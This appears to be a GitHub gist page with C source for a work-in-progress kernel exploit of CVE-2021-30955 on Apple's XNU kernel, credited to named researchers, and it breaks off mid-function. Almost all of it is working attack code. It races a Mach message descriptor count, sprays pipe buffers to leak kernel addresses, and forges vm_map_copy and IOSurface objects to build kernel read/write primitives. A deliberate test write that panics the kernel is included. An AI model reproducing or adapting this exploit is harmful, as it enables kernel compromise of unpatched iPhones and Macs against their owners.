- @realBrightiup for the bug and exploit strategy
- Justin Sherman for the detailed writeup of his exploit (https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
- @b1n4r1b01 for various things
-
-
Save Peterpan0927/4d79b12ede2ba95ab5e37432f596f3b9 to your computer and use it in GitHub Desktop.
WIP CVE-2021-30955 exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit.c | |
// kmsg_bug | |
// | |
// Created by Jake James on 3/2/22. | |
// | |
#include "exploit.h" | |
#include <pthread/pthread.h> | |
#include "exploit_utilities.h" | |
#include "IOSurface_stuff.h" | |
#define DEBUG 1 | |
int surfaces[2][4096] = {0}; | |
io_service_t IOSRUC[2] = {0}; | |
int IOSurface_setCapacity_0x2000() { | |
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); | |
if (ret) { | |
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); | |
if (!MACH_PORT_VALID(IOSurfaceRoot)) { | |
printf("[-] Failed to find IOSurfaceRoot service\n"); | |
return KERN_FAILURE; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]); | |
if (ret || !MACH_PORT_VALID(IOSRUC[0])) { | |
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]); | |
if (ret || !MACH_PORT_VALID(IOSRUC[1])) { | |
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
struct IOSurfaceFastCreateArgs create_args = { | |
.alloc_size = pagesize | |
}; | |
struct IOSurfaceLockResult lock_result; | |
size_t lock_result_size = 0xf60; | |
for (int i = 0; i < 4096; i++) { | |
ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
surfaces[0][i] = lock_result.surface_id; | |
} | |
for (int i = 0; i < 4096; i++) { | |
release_IOSurface(IOSRUC[0], surfaces[0][i]); | |
surfaces[0][i] = 0; | |
} | |
for (int i = 0; i < 4096; i++) { | |
ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
#if DEBUG | |
printf("[i] Surface id: %d\n", lock_result.surface_id); | |
#endif | |
surfaces[1][i] = lock_result.surface_id; | |
if (surfaces[1][i] == 8100) break; | |
} | |
return 0; | |
} | |
void release_all() { | |
for (int i = 0; i < 4096; i++) { | |
if (surfaces[1][i]) { | |
printf("[*] Releasing %d\n", surfaces[1][i]); | |
fflush(stdout); | |
usleep(10); | |
release_IOSurface(IOSRUC[1], surfaces[1][i]); | |
} | |
} | |
} | |
// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size | |
// (there are other combinations however for some reason ones where difference is lower don't work?) | |
#define N_DESC 14 | |
#define N_CORRUPTED 1014 | |
// how many pipes to spray | |
#define N_SPRAY 5000 | |
// size of each pipe buffer | |
#define KALLOC_SIZE 0x4000 | |
// size of ool buffer | |
#define OOL_SIZE 0x100 | |
#define BIG_BUFFER_SIZE 0x10000 | |
struct exp_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports; | |
mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1]; | |
}; | |
struct exp_msg msg; | |
void race_thread() { | |
while (1) { | |
// change the descriptor count back and forth | |
// eventually the race will work just right so we get this order of actions: | |
// count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin | |
msg.body.msgh_descriptor_count = N_CORRUPTED; | |
msg.body.msgh_descriptor_count = N_DESC; | |
} | |
} | |
void *fake_IOSC; | |
void *fake_IOS; | |
uint64_t ool_ports_buffer = 0; | |
uint64_t IOSC_array = 0; | |
int opipe[2] = {0}; | |
mach_port_t dest; | |
// these are racy, should put locks, but this is just an exploit, so idc | |
uint32_t rk32(uint64_t addr) { | |
*(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4; | |
uint32_t val; | |
int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val); | |
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS; | |
if (ret) { | |
printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret)); | |
return 0; | |
} | |
return val; | |
} | |
uint64_t rk64(uint64_t addr) { | |
uint32_t val1 = rk32(addr); | |
uint64_t val2 = rk32(addr + 4); | |
uint64_t val64 = val1 | (val2 << 32); | |
return val64; | |
} | |
int wk64(uint64_t addr, uint64_t what) { | |
*(uint64_t*)(fake_IOS + 0x360) = addr; | |
int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what); | |
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; | |
if (ret) { | |
printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
void after_thread() { | |
// wait a little bit | |
sleep(5); // probably too much | |
uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address | |
wk64(test, 0x4142434445464748); | |
printf("[i] Wrote: 0x%lx\n", 0x4142434445464748); | |
printf("[i] Read back: 0x%llx\n", rk64(test)); | |
printf("[*] Panic!!\n"); | |
fflush(stdout); | |
sleep(1); | |
wk64(0x4141414141414141, 0x4242424242424242); | |
} | |
void exploit() { | |
printf("[*] Setting up exploit\n"); | |
IOSurface_setCapacity_0x2000(); | |
void *body = calloc(1, KALLOC_SIZE); | |
// allow us to spray a lot of pipes | |
increase_file_limit(); | |
// ool buffer | |
void* buf = calloc(1, OOL_SIZE * N_DESC); | |
void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel | |
// set up the message | |
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg)); | |
msg.hdr.msgh_remote_port = 0; | |
msg.hdr.msgh_local_port = MACH_PORT_NULL; | |
msg.hdr.msgh_id = 0x12341234; | |
// set the initial (smaller) descriptor count | |
msg.body.msgh_descriptor_count = N_DESC; | |
// ool ports descriptor | |
msg.ool_ports.address = ports; | |
msg.ool_ports.count = BIG_BUFFER_SIZE / 8; | |
msg.ool_ports.deallocate = 0; | |
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; | |
msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; | |
// ool descriptors | |
for (int i = 0; i < N_DESC - 1; i++) { | |
msg.ool_desc[i].address = buf + i * OOL_SIZE; | |
msg.ool_desc[i].size = OOL_SIZE; | |
msg.ool_desc[i].deallocate = 0; | |
msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR; | |
msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY; | |
} | |
// original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating | |
printf("[*] Spraying pipe buffers\n"); | |
int pipes[N_SPRAY][2] = {0}; | |
for (int i = 0; i < N_SPRAY; i++) { | |
int ret = pipe(pipes[i]); | |
if (ret) { | |
printf("[-] Failed to create pipe: %s\n", strerror(errno)); | |
continue; | |
} | |
set_nonblock(pipes[i][0]); | |
set_nonblock(pipes[i][1]); | |
memset(body, 0, KALLOC_SIZE); | |
// -1 otherwise it'll make the size bigger | |
write(pipes[i][1], body, KALLOC_SIZE - 1); | |
} | |
// -----------+-----------+-----------+------------+----------- | |
// pipe1 | pipe2 | ... | pipe5000 | | |
// -----------+-----------+-----------+------------+----------- | |
// | |
// poke some holes to increase chance of landing right after a pipe | |
printf("[*] Poking holes\n"); | |
fflush(stdout); | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (i % 64 == 0) { | |
close(pipes[i][0]); | |
close(pipes[i][1]); | |
pipes[i][0] = 0; | |
pipes[i][1] = 0; | |
} | |
} | |
// -----------+-----------+-----------+------------+------------+------------+----------- | |
// pipe1 | pipe2 | ... | pipe64 | FREE | pipe67 | ... | |
// -----------+-----------+-----------+------------+------------+------------+----------- | |
// | |
printf("[*] Racing\n"); | |
// start the threads | |
pthread_t thread; | |
pthread_create(&thread, NULL, (void*)race_thread, NULL); | |
// try up to 1000 times | |
for (int i = 0; i < 1000; i++) { | |
// create a mach port where we'll send the message | |
dest = new_mach_port(); | |
// send | |
msg.hdr.msgh_remote_port = dest; | |
int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) printf("error: %s\n", mach_error_string(ret)); | |
// hopefully (pre-trigger): | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ... | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// | |
// after bug trigger pipeN should overlap with ikm_header: | |
// +----------------+ | |
// | | | |
// -----------+-----------+-----------+-----------+ +-------------+----------- | |
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ... | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// check if we overwrote one of the pipe buffers | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (pipes[i][0] && pipes[i][0] != opipe[0]) {; | |
ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE); | |
if (ret == -1) { | |
printf("[-] Failed to read pipe: %s\n", strerror(errno)); | |
continue; | |
} | |
// there seem to be some extra 56 bytes between the two | |
int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56; | |
if (*(uint32_t*)(body + off) == 0x80000011) { | |
printf("[+] Found ikm_header at pipe nr. %d\n", i); | |
struct ool_kmsg *kmsg = body+off; | |
#if DEBUG | |
for (int i = 0; i < N_DESC; i++) { | |
uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address; | |
printf("[i] 0x%llx\n", kaddr); | |
} | |
#endif | |
ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address; | |
// assume this scenario is true and hope for the best | |
IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE; | |
// save the pipe | |
opipe[0] = pipes[i][0]; | |
opipe[1] = pipes[i][1]; | |
pipes[i][0] = 0; | |
pipes[i][1] = 0; | |
// close other pipes | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (pipes[i][0]) close(pipes[i][0]); | |
if (pipes[i][1]) close(pipes[i][1]); | |
} | |
printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer); | |
printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array); | |
void *buf = calloc(1, 0x5000); // need to calculate on A10+ | |
struct vm_map_copy *copy = buf; | |
struct vm_map_links *entry = buf + 0x1000; | |
copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type | |
copy->c_u.hdr.nentries = 1; // doesn't really matter | |
copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry | |
*(uint64_t*)(((uint64_t)©->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code | |
fake_IOSC = buf + 0x2000; // fake IOSurfaceClient | |
fake_IOS = buf + 0x3000; // fake IOSurface | |
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array | |
// *(uint64_t*)(fake_IOS + 0xb4) | |
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS; | |
void *vm_object = buf + 0x3000; | |
*(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff | |
*(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work | |
*(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero | |
*(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this | |
*(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1 | |
entry->prev = (void *)fake_IOSC; | |
entry->next = (void *)(IOSC_array + surfaces[1][0] * 8); | |
*(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object | |
*(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0 | |
printf("[*] Writing fake vm_map_copy ptr\n"); | |
kmsg->ool_messages[1].address = (void*)copy; | |
write(opipe[1], body, KALLOC_SIZE); | |
pthread_t thread; | |
pthread_create(&thread, NULL, (void*)after_thread, NULL); | |
/* | |
this will basically do: | |
entry->next->prev = entry->prev; | |
entry->prev->next = entry->next; | |
and then it'll hang until mapping_in_progress is unset | |
*/ | |
printf("[*] Writing fake IOSurfaceClient ptr\n"); | |
mach_port_destroy(mach_task_self(), dest); | |
printf("[-] Exploit failed\n"); | |
return; | |
} | |
memset(body, 0, KALLOC_SIZE); | |
write(pipes[i][1], body, KALLOC_SIZE - 1); | |
} | |
} | |
// if bug didn't work, free message and try again | |
// if bug worked but pipes weren't affected then we corrupted something else, let this just panic | |
mach_port_destroy(mach_task_self(), dest); | |
} | |
printf("[-] Exploit failed\n"); | |
return; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit.h | |
// kmsg_bug | |
// | |
// Created by Jake James on 3/2/22. | |
// | |
#ifndef exploit_h | |
#define exploit_h | |
#include <stdio.h> | |
#include <mach/vm_types.h> | |
void exploit(void); | |
struct vm_map_links { | |
struct vm_map_entry *prev; /* previous entry */ | |
struct vm_map_entry *next; /* next entry */ | |
vm_map_offset_t start; /* start address */ | |
vm_map_offset_t end; /* end address */ | |
}; | |
struct vm_map_header { | |
struct vm_map_links links; /* first, last, min, max */ | |
int nentries; /* Number of entries */ | |
boolean_t entries_pageable; | |
int page_shift; /* page shift */ | |
}; | |
struct vm_map_copy { | |
int type; | |
#define VM_MAP_COPY_ENTRY_LIST 1 | |
#define VM_MAP_COPY_OBJECT 2 | |
#define VM_MAP_COPY_KERNEL_BUFFER 3 | |
vm_object_offset_t offset; | |
vm_map_size_t size; | |
union { | |
struct vm_map_header hdr; /* ENTRY_LIST */ | |
void *object; /* OBJECT */ | |
void *kdata; /* KERNEL_BUFFER */ | |
} c_u; | |
}; | |
#endif /* exploit_h */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit_utilities.c | |
// sock_port | |
// | |
// Created by Jake James on 7/17/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#import "exploit_utilities.h" | |
mach_port_t new_mach_port() { | |
mach_port_t port = MACH_PORT_NULL; | |
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); | |
if (ret) { | |
printf("[-] failed to allocate port\n"); | |
return MACH_PORT_NULL; | |
} | |
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); | |
if (ret) { | |
printf("[-] failed to insert right\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
mach_port_limits_t limits = {0}; | |
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; | |
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT); | |
if (ret) { | |
printf("[-] failed to increase queue limit\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
return port; | |
} | |
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
msg->hdr.msgh_remote_port = destination; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = msg_size; | |
msg->hdr.msgh_id = 0x41414141; | |
memcpy(&msg->buf[0], buffer, size); | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to send message\n"); | |
mach_port_destroy(mach_task_self(), destination); | |
free(msg); | |
return ret; | |
} | |
free(msg); | |
return KERN_SUCCESS; | |
} | |
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return NULL; | |
} | |
return msg; | |
} | |
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) { | |
kern_return_t ret; | |
mach_port_t* ports = malloc(sizeof(mach_port_t) * count); | |
for (int i = 0; i < count; i++) { | |
ports[i] = target_port; | |
} | |
struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount); | |
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount); | |
msg->hdr.msgh_remote_port = where; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414141; | |
msg->body.msgh_descriptor_count = dcount; | |
for (int i = 0; i < dcount; i++) { | |
msg->ool_ports[i].address = ports; | |
msg->ool_ports[i].count = count; | |
msg->ool_ports[i].deallocate = 0; | |
msg->ool_ports[i].disposition = disposition; | |
msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY; | |
} | |
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
free(msg); | |
free(ports); | |
if (ret) { | |
printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return KERN_FAILURE; | |
} | |
return 0; | |
} | |
int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) { | |
kern_return_t ret; | |
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount); | |
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount); | |
msg->hdr.msgh_remote_port = where; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414141; | |
msg->body.msgh_descriptor_count = dcount; | |
for (int i = 0; i < dcount; i++) { | |
msg->ool_messages[i].address = buf; | |
msg->ool_messages[i].size = size; | |
msg->ool_messages[i].deallocate = 0; | |
msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR; | |
msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY; | |
} | |
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
free(msg); | |
if (ret) { | |
printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return KERN_FAILURE; | |
} | |
return 0; | |
return ret; | |
} | |
#define USER_HEADER_SIZE_DELTA 8 | |
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) { | |
return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg)); | |
//return ((3 * kalloc_size) / 4) - 0x74; | |
} | |
void trigger_gc() { | |
const int gc_ports_cnt = 1000; | |
int gc_ports_max = gc_ports_cnt; | |
mach_port_t gc_ports[gc_ports_cnt] = { 0 }; | |
uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024 | |
uint8_t *body = (uint8_t*)malloc(body_size); | |
memset(body, 0x41, body_size); | |
for (int i = 0; i < gc_ports_cnt; i++) { | |
uint64_t t0, t1; | |
t0 = 0;// mach_absolute_time(); | |
gc_ports[i] = new_mach_port(); | |
send_message(gc_ports[i], body, body_size); | |
t1 = 0; //mach_absolute_time(); | |
if (t1 - t0 > 1000000) { | |
printf("[+] got gc at %d -- breaking\n", i); | |
gc_ports_max = i; | |
break; | |
} | |
} | |
for (int i = 0; i < gc_ports_max; i++) { | |
mach_port_destroy(mach_task_self(), gc_ports[i]); | |
} | |
sched_yield(); | |
sleep(1); | |
} | |
void hexdump(const void* data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
void increase_file_limit() { | |
struct rlimit rl = {}; | |
getrlimit(RLIMIT_NOFILE, &rl); | |
rl.rlim_cur = 10240; | |
rl.rlim_max = rl.rlim_cur; | |
setrlimit(RLIMIT_NOFILE, &rl); | |
} | |
void set_nonblock(int fd) { | |
int flags = fcntl(fd, F_GETFL); | |
flags |= O_NONBLOCK; | |
fcntl(fd, F_SETFL, flags); | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit_utilities.h | |
// sock_port | |
// | |
// Created by Jake James on 7/17/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#ifndef exploit_utilities_h | |
#define exploit_utilities_h | |
#import <stdio.h> | |
#import <unistd.h> | |
#import <stdlib.h> | |
#import <errno.h> | |
#import <mach/mach.h> | |
#import <sched.h> | |
//import <IOKit/IOKitLib.h> | |
#import <sys/utsname.h> | |
#import <fcntl.h> | |
//#import "IOSurface_stuff.h" | |
struct ool_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_descriptor_t ool_messages[]; | |
}; | |
struct ool_ports_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports[]; | |
}; | |
struct simple_msg { | |
mach_msg_header_t hdr; | |
char buf[0]; | |
}; | |
typedef struct { | |
mach_msg_bits_t msgh_bits; | |
mach_msg_size_t msgh_size; | |
uint64_t msgh_remote_port; | |
uint64_t msgh_local_port; | |
mach_port_name_t msgh_voucher_port; | |
mach_msg_id_t msgh_id; | |
} kern_mach_msg_header_t; | |
struct ool_kmsg { | |
kern_mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_descriptor_t ool_messages[]; | |
}; | |
struct ool_ports_kmsg { | |
kern_mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports[]; | |
}; | |
struct simple_kmsg { | |
kern_mach_msg_header_t hdr; | |
char buf[0]; | |
}; | |
mach_port_t new_mach_port(void); | |
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size); | |
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size); | |
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition); | |
int send_ool_message(mach_port_t where, void *msg, mach_msg_size_t size, int dcount); | |
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size); | |
void trigger_gc(void); | |
void hexdump(const void* data, size_t size); | |
void increase_file_limit(void); | |
void set_nonblock(int fd); | |
#endif /* exploit_utilities_h */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// IOSurface_stuff.c | |
// time_waste | |
// | |
// Created by Jake James on 2/22/20. | |
// Copyright © 2020 Jake James. All rights reserved. | |
// | |
#import "IOSurface_stuff.h" | |
uint32_t pagesize; | |
io_connect_t IOSurfaceRoot; | |
io_service_t IOSurfaceRootUserClient; | |
uint32_t IOSurface_ID; | |
int init_IOSurface() { | |
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); | |
if (ret) { | |
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
printf("[i] page size: 0x%x\n", pagesize); | |
IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); | |
if (!MACH_PORT_VALID(IOSurfaceRoot)) { | |
printf("[-] Failed to find IOSurfaceRoot service\n"); | |
return KERN_FAILURE; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient); | |
if (ret || !MACH_PORT_VALID(IOSurfaceRootUserClient)) { | |
printf("[-] Failed to open IOSurfaceRootUserClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
struct IOSurfaceFastCreateArgs create_args = { | |
.alloc_size = pagesize | |
}; | |
struct IOSurfaceLockResult lock_result; | |
size_t lock_result_size = 0xf60; | |
ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
IOSurface_ID = lock_result.surface_id; | |
return 0; | |
} | |
int release_IOSurface(io_service_t userclient, int surface_id) { | |
uint64_t scalar[] = { surface_id }; | |
int ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_release_surface_selector, scalar, 1, NULL, 0, NULL, NULL, NULL, NULL); | |
if (ret) { | |
printf("[-][IOSurface] Failed to release surface: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size) { | |
struct IOSurfaceValueResultArgs result; | |
size_t result_size = sizeof(result); | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to set value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size) { | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_get_value_selector, NULL, 0, args, args_size, NULL, NULL, output, out_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to get value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size) { | |
struct IOSurfaceValueResultArgs result; | |
size_t result_size = sizeof(result); | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_remove_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to remove value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_remove_property(uint32_t key) { | |
